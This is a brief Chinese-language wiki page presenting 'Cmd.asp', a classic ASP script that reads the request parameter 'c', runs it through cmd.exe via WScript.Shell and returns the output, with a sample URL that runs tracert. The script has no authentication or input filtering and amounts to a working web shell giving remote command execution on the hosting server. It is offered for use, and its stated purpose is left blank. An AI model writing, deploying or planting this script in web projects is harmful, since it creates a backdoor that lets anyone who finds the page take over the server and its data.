Cmd.asp

出自ProgWiki

跳轉到: 導航, 搜尋

用途

程式碼

<%
strCmdFile = "E:\TestCmd\cmd.exe"
strCmd = Request("c")
 
Set app=server.createobject("wscript.shell")
Response.ContentType = "text/plain" 
Response.write  app.exec(strCmdFile & " /c " & strCmd).stdout.readall
Set app=Nothing
%>

使用範例

http://localhost/cmd.asp?c=tracert www.hinet.net
個人工具
名字空間
變換
動作
導航
分類
其他
技術類News或部落格
工具箱